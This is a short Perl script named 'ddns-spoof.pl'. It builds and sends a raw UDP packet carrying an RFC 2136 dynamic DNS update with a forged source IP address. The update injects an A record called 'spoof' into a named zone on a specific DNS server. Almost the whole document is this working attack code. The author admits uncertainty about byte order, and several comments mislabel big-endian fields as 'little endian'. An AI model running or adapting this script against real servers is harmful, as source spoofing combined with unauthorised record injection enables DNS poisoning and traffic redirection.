#!/usr/bin/perl # ./ddns-spoof.pl # I'm not really sure about all endian fields yet! # See RFC2136, RFC1035 use strict; use Net::RawIP; ### Dynamic settings my $source = '82.138.76.60'; my $dest = '82.138.76.60'; my $port = '53'; my $dom = 'unix-solutions.be'; my $rec = 'spoof'; my $rttl = 3600; my $rdata = '127.0.0.1'; ### Building the UDP DNS package data # ]==> RFC 1035 2.2 # DNS ID (0 or random) 2 byte, unsigned, big endian my $dns_id = pack("n",int rand 65535); my $dns_qr_bits = "0"; # Request bit (0) my $dns_opcode_bits = "0101"; # Opcode bits, little endian (5) my $dns_z_bits = "0000000"; # Reserved for future use my $dns_rcode_bits = "0000"; # Response code bits, little endian (0) # Convert bits to bytes my ($byte1,$byte2); my $dns_qozr; if ( ($dns_qr_bits . $dns_opcode_bits . $dns_z_bits . $dns_rcode_bits) =~ /^(\d{8})(\d{8})$/ ) { $byte1 = $1; $byte2 = $2; $byte1 = chr(oct("0b" . $byte1)); $byte2 = chr(oct("0b" . $byte2)); $dns_qozr = $byte1 . $byte2; } else { $dns_qozr = "\x28\x00"; } # RR counters, all little endian my $dns_zocount = "\x00\x01"; # Nr. RRs in the Zone Section my $dns_prcount = "\x00\x00"; # Nr. RRs in the Prerequisite Section. my $dns_upcount = "\x00\x01"; # Nr. RRs in the Update Section. my $dns_adcount = "\x00\x00"; # Nr. RRs in the Additional Data Section. # ]==> RFC 1035 2.3 # ZNAME consists of a 1 byte length field for each label, # followed by a label of maximum 63 byte, ended by a length field # which length is zero .. the max zname size is 255 byte # length fields are little endian my $dns_zname = ""; my @zlabels; @zlabels = split /\./, $dom; for (my $i = 0; $i < scalar @zlabels; $i++) { my $lbl = $zlabels[$i]; $dns_zname .= pack("C",length($lbl)) . $lbl; } $dns_zname .= "\x00"; my $dns_ztype = "\x00\x06"; # Zone type (SOA), little endian my $dns_zclass = "\x00\x01"; # Zone class (IN), little endian # ]==> RFC 2136 4.1.3 & 4.1.4 # RNAME is the RR field we want to add/delete my $dns_rname = ""; my @rlabels; @rlabels = split /\./, $rec; for (my $i = 0; $i < scalar @rlabels; $i++) { my $lbl = $rlabels[$i]; $dns_rname .= pack("C",length($lbl)) . $lbl; } $dns_rname .= "\xc0\x0c"; # "compression", pointer to byte 13 (domain lbl) my $dns_rtype = "\x00\x01"; # Zone type (A), little endian my $dns_rclass = "\x00\x01"; # Zone class (IN), little endian my $dns_rttl = pack("N",$rttl); # 32 bit ttl signed but positive !, big endian my $dns_rdlength = "\x00\x04"; # 16 bit length for rdata (4 byte IP), little endian my $dns_rdata = pack( "C4", split /\./, $rdata ); # The IP, little endian # note that this data may not be larger than 512 bytes my $data = $dns_id . $dns_qozr . $dns_zocount . $dns_prcount . $dns_upcount . $dns_adcount . $dns_zname . $dns_ztype . $dns_zclass . $dns_rname . $dns_rtype . $dns_rclass . $dns_rttl . $dns_rdlength . $dns_rdata; my $packet = Net::RawIP->new({ ip => { saddr => $source, daddr => $dest }, udp => { dest => $port, source => 1024, len => length($data) + 8, data => $data } }) ; $packet->send; exit 0;